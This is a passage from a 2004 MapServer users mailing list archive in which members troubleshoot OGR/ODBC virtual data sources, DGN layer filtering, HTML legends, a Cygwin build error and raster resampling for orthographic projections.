> 
>   msOGRFileOpen(): OGR error. Open failed for OGR connection
> `c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported format. 
> 
> Here is my layer:
> 
>   LAYER
>     NAME OGRPoints
>     TYPE POINT
>     CONNECTIONTYPE OGR
>     CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
>     DATA "Desc_story"
>     STATUS default
>     CLASS
>       COLOR 255 0 0
>     END
>   END
> 
> Contents of ogr.ovt:
> 
>   
> 
>       
>           ODBC:foo/foo at geosemantica 
>  	  Desc_story 
> 	  wkbPoint 
>           WGS84
> 	   y="Desc_story.story_y"/> 
>       
> 
>   
> 
> Thank you in advance.
> 
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From nsavard at dmsolutions.ca  Thu Jan 29 06:14:27 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Thu, 29 Jan 2004 09:14:27 -0500
Subject: [Mapserver-users] OGR unable to access datasource
References: 
Message-ID: <40191543.2030503@dmsolutions.ca>

It looks like the same problem as Julien  Heryk had last week for MS 
Access (0401/msg00533: 
[Mapserver-users] 
Re: VirtualSpatialData (OGR Connectiontype)).  I am able to reproduce it 
with MS Access as well on Windows XP home edition.


Norm

Tyler Mitchell wrote:

>
>
>
>  
>
>>Everytime I try to render the map I get the following error (the file is
>>definitely there):
>>
>>  msDrawMap(): Image handling error. Failed to draw layer named
>>    
>>
>'OGRPoints'.
>  
>
>>  msOGRFileOpen(): OGR error. Open failed for OGR connection
>>`c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported
>>    
>>
>format.
>
>Are you confident that your version of OGR is updated enough - does it
>include this virtual layer support?  If so, then you should be able to use
>the stand alone ogrinfo utility to test it first.
>Tyler
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From arnulf.christl at ccgis.de  Thu Jan 29 06:23:07 2004
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Thu, 29 Jan 2004 15:23:07 +0100
Subject: [Mapserver-users] Re: [ms4w-users] mapserv_40.exe fails in featurequery
In-Reply-To: <4018FCDC.30706@magma.ca>
References: <001201c3e65a$3abb3ba0$4cc8a8c0@hapro> <4018FCDC.30706@magma.ca>
Message-ID: <4019174B.6060503@ccgis.de>

This is a multi-part message in MIME format.
--------------030803060303070306010800
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi,
this problem has been discussed in the German user list, I have attached 
the answer from Till Adams.

in english:
You need a Mapserv v4.01 or prior to 3.6 -- all versions between 3.6x 
and 4.0 hav a bug in the "GetFeatureInfo" request which causes this 
error on MS machines

Regards, Arnulf.

Paul Spencer wrote:

> Hagen,
>
> this is a MapServer issue.  Please address questions of this nature to 
> the mapserver-users mailing list to ensure the best possible chance of 
> response.
>
> Cheers,
>
> Paul
>
> hpr wrote:
>
>> Hi users,
>>  
>> I'm a newbie in mapserver, therefore I'm using mapbender with my own 
>> data.
>> If I try to query (identify) an element, then the querywindow is 
>> opened with the correct queryoutput
>> but at the same time I get a window with the following message:
>>  
>> german (original):
>> "mapserv_40.exe hat Fehler verursacht und wird geschlossen.
>> Starten Sie das Programm neu.
>> Ein Fehlerprotokoll wird erstellt."
>>  
>> english (translation):
>> "mapserv_40.exe fails with errors, application is closed.
>> Start the program again.
>> An error-logfile is created"
>>
>> The error-log-file contains following message:
>> "GET 
>> /cgi-bin/mapserv_40.exe?map=C:/ms4w/apache/htdocs/myapplication/myapp.map&&WMTVER=1.0.0&REQUEST=feature_info& 
>>
>> LAYERS=Flaechen&STYLES=default&SRS=epsg:4326&BBOX=3506980.17,5818960,3510039.83,5820970& 
>>
>> WIDTH=685&HEIGHT=450&FORMAT=PNG&TRANSPARENT=FALSE&BGCOLOR=0xffffff&
>> QUERY_LAYERS=Flaechen&X=314&Y=143&INFO_FORMAT=text/html HTTP/1.1" 200 
>> 694
>>  
>> If I delete the parameter "INFO_FORMAT=text/html" in the file 
>> mapJS.php, then the error is not occured
>> but the output is only in text-Format without html-Tags.
>>  
>> What can I do ?
>>  
>>
>> Hagen
>>  
>
>


--------------030803060303070306010800
Content-Type: message/rfc822;
 name="Attached Message"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="Attached Message"

Return-path: 
Envelope-to: arnulf.christl at ccgis.de
Received: from proxy.dmz ([192.168.0.5] helo=vogon.ccgis.de)
	by center.shared with esmtp (Exim 3.35 #1 (Debian))
	id 1Al9ja-00039R-00
	for ; Mon, 26 Jan 2004 17:37:10 +0100
Received: from amavis by vogon.ccgis.de with virus-scanned (Exim 3.36 #1 (Debian))
	id 1AlAGw-0005gw-00
	for ; Mon, 26 Jan 2004 18:11:38 +0100
X-Scanned-By: AMaViS-ng at Geo-Consortium Bonn
Received: from mail by vogon.ccgis.de with spam-scanned (Exim 3.36 #1 (Debian))
	id 1AlAGR-0005fn-00; Mon, 26 Jan 2004 18:11:08 +0100
Received: from lists.sourceforge.net ([66.35.250.206] helo=sc8-sf-list1.sourceforge.net)
	by vogon.ccgis.de with esmtp (Exim 3.36 #1 (Debian))
	id 1AlAGQ-0005fb-00; Mon, 26 Jan 2004 18:11:06 +0100
Received: from localhost ([127.0.0.1] helo=projects.sourceforge.net)
	by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30)
	id 1Al9ps-0002Ah-Fb; Mon, 26 Jan 2004 08:43:40 -0800
Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net)
	by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30)
	id 1Al9lm-0000vL-CD
	for mapbender-users at lists.sourceforge.net; Mon, 26 Jan 2004 08:39:26 -0800
Received: from vogon.ccgis.de ([212.79.172.106])
	by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30)
	id 1Al9lm-0002Np-0u
	for mapbender-users at lists.sourceforge.net; Mon, 26 Jan 2004 08:39:26 -0800
Received: from amavis by vogon.ccgis.de with virus-scanned (Exim 3.36 #1 (Debian))
	id 1AlACA-0005c1-00
	for ; Mon, 26 Jan 2004 18:06:42 +0100
X-Scanned-By: AMaViS-ng at Geo-Consortium Bonn
Received: from center.sz ([192.168.1.20] helo=center.shared)
	by vogon.ccgis.de with esmtp (Exim 3.36 #1 (Debian))
	id 1AlAC2-0005bk-00; Mon, 26 Jan 2004 18:06:34 +0100
Received: from [192.168.4.199] (helo=terrestris.de)
	by center.shared with esmtp (Exim 3.35 #1 (Debian))
	id 1Al9eg-00037K-00; Mon, 26 Jan 2004 17:32:06 +0100
Message-ID: <40154459.7020206 at terrestris.de>
From: Till Adams 
Organization: terrestris
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: de-de, de
MIME-Version: 1.0
To: Gunter.Rieth at stadt.mainz.de
CC: mapbender list 
Subject: Re: [Mapbender-users] How to: Using the Info-Tool
References: 
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Score: 0.0 (/)
Sender: mapbender-users-admin at lists.sourceforge.net
Errors-To: mapbender-users-admin at lists.sourceforge.net
X-BeenThere: mapbender-users at lists.sourceforge.net
X-Mailman-Version: 2.0.9-sf.net
Precedence: bulk
List-Unsubscribe: ,
	
List-Id: WMS Web GIS frontend  Know-How exchange 
List-Post: 
List-Help: 
List-Subscribe: ,
	
List-Archive: 
Date: Mon, 26 Jan 2004 17:46:17 +0100
X-Spam-Status: No, hits=-5.0 required=7.5
	tests=BAYES_10,KNOWN_MAILING_LIST,REFERENCES,
	      USER_AGENT_MOZILLA_UA
	version=2.55
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp)

Gunter,

du brauchst einen Mapserv v4.01 oder vor 3.6 -- alle Versionen zwischen 
3.6x und 4.0 haben einen Bug beim "GetFeatureInfo" Request, der diesen 
Fehler provoziert.

Wir haben eine 4.01er, die diesen Bug nicht mehr hat. Ich kann Sie dir 
mailen, allerdings wei? ich nicht, welche Anh?ne bei euch durchkommen, 
sag einfach Bescheid, zur Notr stell ich Sie dir zum Download irgendwohin,

Till Adams

-- 

NEU +++ NEU +++ NEU +++ NEU

    AveiN! ist Open Source
Lizensiert unter der GNU GPL

-----

Dipl. Geogr. Till Adams
terrestris, Paulsen&Adams GbR
Siemensstr. 8 * 53121 Bonn
Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57
info at terrestris.de * www.terrestris.de




-------------------------------------------------------
The SF.Net email is sponsored by EclipseCon 2004
Premiere Conference on Open Tools Development and Integration
See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
http://www.eclipsecon.org/osdn
_______________________________________________
Mapbender-users mailing list
Mapbender-users at lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mapbender-users


--------------030803060303070306010800--



From warmerdam at pobox.com  Thu Jan 29 08:06:02 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 29 Jan 2004 11:06:02 -0500
Subject: [Mapserver-users] display specific layers from DGN
In-Reply-To: <20040129065309.9079.qmail@web12103.mail.yahoo.com>
References: <20040129065309.9079.qmail@web12103.mail.yahoo.com>
Message-ID: <40192F6A.10304@pobox.com>

J. Delfos wrote:
> Hi List,
> 
> I am trying to display specific layers from a DGN file. I found an 
> example
> in the archive of the list that suggested how to do it, but it doesn't
> work for me;
> 
> LAYER
>     NAME "Water_dgn"
>     TYPE POLYGON
>     CONNECTIONTYPE OGR
>     CONNECTION "data/dgn/wat.dgn"
>             DATA "1"
>     STATUS ON
>     CLASS
>       ...
>     END
> ...
> END
> 
> Does anyone have a better idea of how to single out the layer? (Aside 
> from
> editing the DGN, of course). 

Jacob,

DGN files when read through OGR are represented as a single layer (called
elements with "id" 0).  However, there is a Level attribute, so you can filter
or classify on that.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From mdoggett at coas.oregonstate.edu  Thu Jan 29 08:29:33 2004
From: mdoggett at coas.oregonstate.edu (Matt Doggett)
Date: Thu, 29 Jan 2004 08:29:33 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <40188821.9000101@globexplorer.com>
Message-ID: <001701c3e685$14633270$2441c180@oce.orst.edu>

I believe HTML legends will do the trick. In the legend_template.html
file you could specify [leg_class_html opt_flag=12] for example. see the
HTML legend How-To for more details about the opt_flag bit mask.

http://mapserver.gis.umn.edu/doc40/html-legend-howto.html

MD

>-----Original Message-----
>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>Sent: Wednesday, January 28, 2004 8:12 PM
>To: mapserver-users at lists.gis.umn.edu
>Subject: [Mapserver-users] Q: Dynamic Legends
>
>
>Hi,
>Is there a way to have the legend dynamically show only the classes of
a
>layer actually
>shown in a map (not the whole defined set in the mapfile)?
>
>Jean
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From hjulien at nrcan.gc.ca  Thu Jan 29 07:16:09 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 29 Jan 2004 10:16:09 -0500
Subject: [Mapserver-users] OGR unable to access datasource
Message-ID: <06B403677C41D51194550002A55107D201F7903D@s5-stf1-r1.nrn.nrcan.gc.ca>

Yes,
It looks like it.
But I was finally able to see my tble content via orginfo.
See:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00550.html

H?ryk

-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Thursday, January 29, 2004 9:14 AM
? : Tyler Mitchell
Cc : Van Ulden, Joost; mapserver-users at lists.gis.umn.edu; Julien, Heryk
Objet : Re: [Mapserver-users] OGR unable to access datasource


It looks like the same problem as Julien  Heryk had last week for MS 
Access (0401/msg00533: 
[Mapserver-users] 
Re: VirtualSpatialData (OGR Connectiontype)).  I am able to reproduce it 
with MS Access as well on Windows XP home edition.


Norm

Tyler Mitchell wrote:

>
>
>
>  
>
>>Everytime I try to render the map I get the following error (the file is
>>definitely there):
>>
>>  msDrawMap(): Image handling error. Failed to draw layer named
>>    
>>
>'OGRPoints'.
>  
>
>>  msOGRFileOpen(): OGR error. Open failed for OGR connection
>>`c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported
>>    
>>
>format.
>
>Are you confident that your version of OGR is updated enough - does it
>include this virtual layer support?  If so, then you should be able to use
>the stand alone ogrinfo utility to test it first.
>Tyler
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From teoman872 at yahoo.com  Thu Jan 29 09:39:14 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Thu, 29 Jan 2004 09:39:14 -0800 (PST)
Subject: [Mapserver-users] Error,when building mapserver-4.0.1....
Message-ID: <20040129173914.42453.qmail@web20728.mail.yahoo.com>

--0-2029230350-1075397954=:41971
Content-Type: text/plain; charset=us-ascii

hi,
 
I am trying to install mapserver-4.0.1 under cygwin environment. I have installed all the libraries listed on mapserver page without any trouble..
After having done this:
$ ./configure --with-gd=/usr/local --with-proj=/usr/local --with-gdal=/usr/local/bin/gdal-config
 
I got this error message when I did "make":
 
$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR      -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP
  -DUSE_GDAL     -I/usr/local/include  -I/usr/local/include     -I./regex-0.12
 -I/usr/local/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg  -L
/lib -lpng -L/lib -lz    -ltiff -ljpeg  -L/lib -lpng -L/lib -lz   -L/usr/local/l
ib -lproj -ljpeg   -L/usr/local/lib -lgdal.1.1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0x1db):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
 
any help please...thanks alot in advance...
--teoman




---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-2029230350-1075397954=:41971
Content-Type: text/html; charset=us-ascii




hi,


 


I am trying to install mapserver-4.0.1 under cygwin environment. I have installed all the libraries listed on mapserver page without any trouble..


After having done this:


$ ./configure --with-gd=/usr/local --with-proj=/usr/local --with-gdal=/usr/local/bin/gdal-config


 


I got this error message when I did "make":


 


$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR      -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP
  -DUSE_GDAL     -I/usr/local/include  -I/usr/local/include     -I./regex-0.12
 -I/usr/local/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg  -L
/lib -lpng -L/lib -lz    -ltiff -ljpeg  -L/lib -lpng -L/lib -lz   -L/usr/local/l
ib -lproj -ljpeg   -L/usr/local/lib -lgdal.1.1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0x1db):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1


 


any help please...thanks alot in advance...


--teoman

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-2029230350-1075397954=:41971--


From Stephanie.Choi at ec.gc.ca  Thu Jan 29 10:09:22 2004
From: Stephanie.Choi at ec.gc.ca (Choi,Stephanie [Ontario])
Date: Thu, 29 Jan 2004 13:09:22 -0500
Subject: [Mapserver-users] Mapserver binary with gdal/ogr library as of 2004-01-06 CVS versi
 on
Message-ID: <79D8CC9C0F21D611A0C900805FBBC3AC03D50270@mgtserver3.ontario.int.ec.gc.ca>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3E693.05746140
Content-Type: text/plain

Hello all,

I am a mapserver newbie.  I recognized that there is a new feature for ODBC
driver from the ogr library which included in the gdal/ogr cvs version as of
2004-01-06.  I just wonder if there is any precompiled mapserver binary with
this version of gdal so that I can give a try.  If there is not available, I
just wonder if anyone come give me some insights in order to accomplish this
task.

Thanks,

Stephanie    

------_=_NextPart_001_01C3E693.05746140
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






Mapserver binary with gdal/ogr library as of 2004-01-06 CVS =
version




Hello all,




I am a mapserver newbie.  I =
recognized that there is a new feature for ODBC driver from the ogr =
library which included in the gdal/ogr cvs version as of =
2004-01-06.  I just wonder if there is any precompiled mapserver =
binary with this version of gdal so that I can give a try.  If =
there is not available, I just wonder if anyone come give me some =
insights in order to accomplish this task.



Thanks,




Stephanie    





------_=_NextPart_001_01C3E693.05746140--


From godwinl at agr.gc.ca  Thu Jan 29 10:10:30 2004
From: godwinl at agr.gc.ca (Liz Godwin)
Date: Thu, 29 Jan 2004 13:10:30 -0500
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: 

I don't think actually that this is possible, at least not in the
current release.  

The legend will show all classes that are capable of being drawn,
regardless of wether they are actually visible or not.  That is to say,
the opt_flags WILL allow you to specify to include layers/classes that
are within the scale (set min and max values) and if the layer is being
drawn (status IN/OFF/DEFAULT).

I have seen postings in the past referring to this, and ways around it,
but they all involve some mapscript of some sort.

If you do find an easy/rather quick way, be sure to share it with the
list.  I am sure there are many that would interested in finding a
solution, I know I am.

Liz Godwin

>>> "Matt Doggett"  01/29/04 11:29AM
>>>
I believe HTML legends will do the trick. In the legend_template.html
file you could specify [leg_class_html opt_flag=12] for example. see
the
HTML legend How-To for more details about the opt_flag bit mask.

http://mapserver.gis.umn.edu/doc40/html-legend-howto.html 

MD

>-----Original Message-----
>From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-
>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>Sent: Wednesday, January 28, 2004 8:12 PM
>To: mapserver-users at lists.gis.umn.edu 
>Subject: [Mapserver-users] Q: Dynamic Legends
>
>
>Hi,
>Is there a way to have the legend dynamically show only the classes
of
a
>layer actually
>shown in a map (not the whole defined set in the mapfile)?
>
>Jean
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu 
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From MHoward at spaceimaging.com  Thu Jan 29 10:15:12 2004
From: MHoward at spaceimaging.com (Howard Mark)
Date: Thu, 29 Jan 2004 11:15:12 -0700
Subject: [Mapserver-users] WAY off forum topics --- Mexico image?
Message-ID: <13685000AB02F2479DF2C632B9B1988E16C131@imager8.corp.spaceimaging.com>

An associate needs an image of Mexico. Need not be hi-res - just 1024x768 for the country is fine.
Georeferenced would be even better.
Anyone got such a beast?
TIA 
Mark


********************************************************************************
This message is intended only for the use of the Addressee and may
contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have
received this communication in error, please erase all copies of the
message and its attachments and notify Space Imaging immediately.
********************************************************************************




From nsavard at dmsolutions.ca  Thu Jan 29 10:24:25 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Thu, 29 Jan 2004 13:24:25 -0500
Subject: [Mapserver-users] OGR unable to access datasource
References: <06B403677C41D51194550002A55107D201F7903D@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40194FD9.5030506@dmsolutions.ca>

Julien,

"ogrinfo" command works for me too.

Norm

Julien, Heryk wrote:

>Yes,
>It looks like it.
>But I was finally able to see my tble content via orginfo.
>See:
>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00550.html
>
>H?ryk
>
>-----Message d'origine-----
>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>Envoy? : Thursday, January 29, 2004 9:14 AM
>? : Tyler Mitchell
>Cc : Van Ulden, Joost; mapserver-users at lists.gis.umn.edu; Julien, Heryk
>Objet : Re: [Mapserver-users] OGR unable to access datasource
>
>
>It looks like the same problem as Julien  Heryk had last week for MS 
>Access (0401/msg00533: 
>  
>
>>[Mapserver-users] 
>>    
>>
>Re: VirtualSpatialData (OGR Connectiontype)).  I am able to reproduce it 
>with MS Access as well on Windows XP home edition.
>
>
>Norm
>
>Tyler Mitchell wrote:
>
>  
>
>>
>> 
>>
>>    
>>
>>>Everytime I try to render the map I get the following error (the file is
>>>definitely there):
>>>
>>> msDrawMap(): Image handling error. Failed to draw layer named
>>>   
>>>
>>>      
>>>
>>'OGRPoints'.
>> 
>>
>>    
>>
>>> msOGRFileOpen(): OGR error. Open failed for OGR connection
>>>`c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported
>>>   
>>>
>>>      
>>>
>>format.
>>
>>Are you confident that your version of OGR is updated enough - does it
>>include this virtual layer support?  If so, then you should be able to use
>>the stand alone ogrinfo utility to test it first.
>>Tyler
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> 
>>
>>    
>>
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From warmerdam at pobox.com  Thu Jan 29 10:28:28 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 29 Jan 2004 13:28:28 -0500
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <4018B69A.5010406@hs-harz.de>
References: <400E4818.7090004@hs-harz.de> <401241B5.6020002@pobox.com> <4014CE5C.6040800@hs-harz.de> <401532C8.10501@pobox.com> <4018B69A.5010406@hs-harz.de>
Message-ID: <401950CC.5090801@pobox.com>

Harald Wehr wrote:
> Many thanks for the changes you have made! Things become better and 
> better but I have discovered other things that seem to be strange too.
> 
> As in my first mail, I put the example under this url:
> 
> http://www2.hs-harz.de/~hwehr/mapserver/
> 
> Picture 4 is well, with the extent of test4.mapfile:
> EXTENT  -6300000 -6300000 6300000 6300000
> 
> When I change the extent to something near the radius of the earth the 
> output is really strange (picture 5).
> 
> Same happens when I try to display the polar region. Picture 6 is well 
> for the extent of: EXTENT  -6500000 -6500000 6500000 6500000
> 
> Changing this to EXTENT  -6300000 -6300000 6300000 6300000 results in 
> picture 7 which is almost all blank.
> 
> So what do you think happens here? As my programming skills in C are 
> really bad I cant support you with some code. But of course I will be 
> able to do further tests if you wish.
> 
> Thanks in advance!

Harold,

Ugg ... very difficult issues.   OK, I have dug into these and made a
number of changes in mapresample.c.  They all relate to the code that
decides what portion of the source image should be loaded into and used
fed into the output image resampling operation.

One category of problems is the code that computes the bounds of what is
needed from the input raster.  That code was transforming points all all
around the edge (11 points along each edge) from destination to source
coordinates.  In many of your cases all of these fail to transform because
they are beyond the horizon.  When this occurs the code fallsback to loading
the whole source image (though possibly at a reduced resolution).  However,
if any of the points do transform it can happen that they are not a
very good representation of the total area of the source image that
should be loaded.  That's what happened with your cases 5 and 7.

To correct this I added logic such that if *any* of the edge points fail
to transform, the code will rerun the operation but with a grid of points
(121) over the output image.  This "internal sampling" is intended to
discover the areas of the output image that can be transformed back to the
source, and roughly what the edges would be in the source image.

However, because the grid is very coarse (11x11) the code may do a poor
job of discovering the real edges.  I could add a whole much of logic to
try and trace along the edge but this would be code and processor intensive.
So, instead I just grow the discovered region by 10% in each direction.
This would usually catch everything.  However, in your case it does not
always get all the appropriate parts of the source image since (due to
horizon effects) small areas on the horizon can reflect large areas on
the source image.  The net result is that all this "grid" logic still
doesn't work properly, though it works much better than what you were
getting.

To work around this edge estimation problem in pathalogical
"world mapping" situations such as you are doing I added a new
mapfile directive as a way to say that the whole source image
should be loaded.  This will short circuit all the computations
of the source window and just assume the whole thing should be used.

eg.
PROCESSING "LOAD_WHOLE_IMAGE=YES"

Well, this was a substantial improvement, but I would still see
"cracks" on the date line.  I looked into this, and didn't exactly
figure out what was going wrong.  However, I did determine it
related to the fact that the source image was being decimated
during loading.  My source file was 2048x1024, but the map was
only 400x400 so the loading code assumes that loading at 800x800
(or perhaps 800x400 in this case) would be sufficient to get
the data needed for the resampling.  That is, we try to load the
source image data at twice the resolution of the output image.

But for reasons that escape me, this means that output pixels at
the very edge of the input image (at the dateline) may be considered
"not loaded" resulting in the crack.  Failing to understand the
problem properly, I have just added a hack to allow the user
to request the source image be loaded at full resolution.

eg.
PROCESSING "LOAD_FULL_RES_IMAGE=YES"

I have committed the changes to mapresample.c and you should be able to
see the improved results.  Then if you add the above processing directives
you should get fully correct results. I hate the fact that the above
directives are necessary in some situations ... it puts an extra onus on
the mapserver application building to understand internal issues.  But I
can't seem to *practically* work around it.  Nevertheless, the grid and other
improvements should help quite alot in bad cases and be sufficient in not quite
so bad cases as yours.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From hjulien at nrcan.gc.ca  Thu Jan 29 10:42:38 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 29 Jan 2004 13:42:38 -0500
Subject: TR: [Mapserver-users] OGR unable to access datasource
Message-ID: <06B403677C41D51194550002A55107D201F7903F@s5-stf1-r1.nrn.nrcan.gc.ca>

-----Message d'origine-----
De : Anctil, Martin 
Envoy? : Thursday, January 29, 2004 1:26 PM
? : Julien, Heryk
Objet : RE: [Mapserver-users] OGR unable to access datasource



I've built mapserver 4.0.1 with a cvs version of gdal for Heryk Julien and
we still get the same error with mapserver even though the ODBC connection
seems to work. We can extract the table's content with the version of
gdal11.dll and ogrinfo.exe I compiled.

martin

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Thursday, January 29, 2004 9:08 AM
? : Julien, Heryk
Cc : Van Ulden, Joost; Anctil, Martin;
'mapserver-users at lists.gis.umn.edu'
Objet : Re: [Mapserver-users] OGR unable to access datasource


My first guess is that your mapserver is not built to support this.  I 
discovered from Frank Warmerdam in an earlier post that it is not 
sufficient to replace gdal11.dll, you need a new build of mapserver that 
is explicitly built against a new version of gdal in order for it to 
work because many of the internals of mapserver are bound directly to 
the OGR functions instead of through the dll (not sure if that is the 
right way to say it, thats how I think of it though).

If

ogrinfo c:\inetpub\wwwroot\MS_DEMO\ogr.ovf Desc_story

does not list all the features in your database, then it may be a 
problem with your ogr.ovf file or your DSN.  But if it does work, the 
you will be able to get it to work with MapServer if you have a properly 
built mapserver.

 From the look of your ovf file, I don't know if it will properly create 
the x/y values, you may need to remove the Desc_story. from the x= and 
y= values.  Using ogrinfo on the ovf file will tell you if points are 
being created or not.

Cheers,

Paul

Julien, Heryk wrote:

> Hi,
> I have the same problem and error message with Access2000.
> Take a look at the following bugzilla bug:
> http://bugzilla.remotesensing.org/show_bug.cgi?id=471
> and the mapserver user discussion forum with the following key word:
> VirtualSpatialData (OGR Connectiontype).
> 
> Good luck
> 
> -----Message d'origine-----
> De : Van Ulden, Joost [mailto:jvanulde at nrcan.gc.ca]
> 
> Envoy? : Wednesday, January 28, 2004 7:07 PM
> ? : Mapserver-Users at Lists. Gis. Umn. Edu
> (mapserver-users at lists.gis.umn.edu)
> Objet : [Mapserver-users] OGR unable to access datasource
> 
> 
> Hi all, some talk of connecting to a datasource through OGR got me
excited.
> I am trying to connect to a Microsoft SQL Server database called
> geosemantica.  My points are in a table called Desc_story and the
coordinate
> fields are story_x and story_y.  I have set up a system DSN and tested the
> connection.  It checks out find.  Anyone have an idea as to what I am
doing
> wrong?
> 
> Everytime I try to render the map I get the following error (the file is
> definitely there):
> 
>   msDrawMap(): Image handling error. Failed to draw layer named
'OGRPoints'.
> 
>   msOGRFileOpen(): OGR error. Open failed for OGR connection
> `c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported
format. 
> 
> Here is my layer:
> 
>   LAYER
>     NAME OGRPoints
>     TYPE POINT
>     CONNECTIONTYPE OGR
>     CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
>     DATA "Desc_story"
>     STATUS default
